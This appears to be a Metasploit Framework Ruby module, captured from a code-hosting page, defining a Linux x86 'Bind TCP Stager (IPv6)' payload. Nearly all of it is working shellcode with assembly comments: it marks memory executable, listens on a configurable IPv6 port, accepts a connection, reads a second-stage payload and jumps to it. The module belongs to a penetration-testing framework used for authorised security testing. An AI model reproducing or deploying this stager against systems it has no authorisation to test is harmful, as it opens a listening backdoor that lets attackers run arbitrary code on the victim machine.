PageRenderTime 38ms CodeModel.GetById 15ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/payloads/stagers/linux/x86/bind_ipv6_tcp.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 87 lines | 73 code | 7 blank | 7 comment | 0 complexity | 6f3a78c93a6e123025a55c9b600bce78 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. require 'msf/core/handler/bind_tcp'
  9. # Linux Bind TCP/IPv6 Stager
  10. module Metasploit3
  11. include Msf::Payload::Stager
  12. include Msf::Payload::Linux
  13. def self.handler_type_alias
  14. "bind_ipv6_tcp"
  15. end
  16. def initialize(info = {})
  17. super(merge_info(info,
  18. 'Name' => 'Bind TCP Stager (IPv6)',
  19. 'Description' => 'Listen for a connection over IPv6',
  20. 'Author' => [
  21. 'kris katterjohn', # original
  22. 'egypt', # NX support
  23. ],
  24. 'License' => MSF_LICENSE,
  25. 'Platform' => 'linux',
  26. 'Arch' => ARCH_X86,
  27. 'Handler' => Msf::Handler::BindTcp,
  28. 'Stager' => {
  29. 'Offsets' => { 'LPORT' => [ 0x18, 'n' ] },
  30. 'Payload' =>
  31. "\x6a\x7d" +# push byte +0x7d
  32. "\x58" +# pop eax
  33. "\x99" +# cdq
  34. "\xb2\x07" +# mov dl,0x7
  35. "\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
  36. "\x89\xe3" +# mov ebx,esp
  37. "\x66\x81\xe3\x00\xf0" +# and bx,0xf000
  38. "\xcd\x80" +# int 0x80
  39. "\x31\xdb" +# xor ebx,ebx
  40. "\xf7\xe3" +# mul ebx
  41. "\x53" +# push ebx
  42. "\x43" +# inc ebx
  43. "\x53" +# push ebx
  44. "\x6a\x0a" +# push byte +0xa
  45. "\x89\xe1" +# mov ecx,esp
  46. "\xb0\x66" +# mov al,0x66
  47. "\xcd\x80" +# int 0x80
  48. "\x43" +# inc ebx
  49. "\x52" +# push edx
  50. "\x52" +# push edx
  51. "\x52" +# push edx
  52. "\x52" +# push edx
  53. "\x52" +# push edx
  54. "\x52" +# push edx
  55. "\x68\x0a\x00\xbf\xbf" +# push dword 0xbfbf000a
  56. "\x89\xe1" +# mov ecx,esp
  57. "\x6a\x1c" +# push byte +0x1c
  58. "\x51" +# push ecx
  59. "\x50" +# push eax
  60. "\x89\xe1" +# mov ecx,esp
  61. "\x6a\x66" +# push byte +0x66
  62. "\x58" +# pop eax
  63. "\xcd\x80" +# int 0x80
  64. "\xd1\xe3" +# shl ebx,1
  65. "\xb0\x66" +# mov al,0x66
  66. "\xcd\x80" +# int 0x80
  67. "\x43" +# inc ebx
  68. "\xb0\x66" +# mov al,0x66
  69. "\x89\x51\x04" +# mov [ecx+0x4],edx
  70. "\xcd\x80" +# int 0x80
  71. "\x93" +# xchg eax,ebx
  72. "\xb6\x0c" +# mov dh,0xc
  73. "\xb0\x03" +# mov al,0x3
  74. "\xcd\x80" +# int 0x80
  75. "\x89\xdf" +# mov edi,ebx
  76. "\xff\xe1" # jmp ecx
  77. }
  78. ))
  79. end
  80. end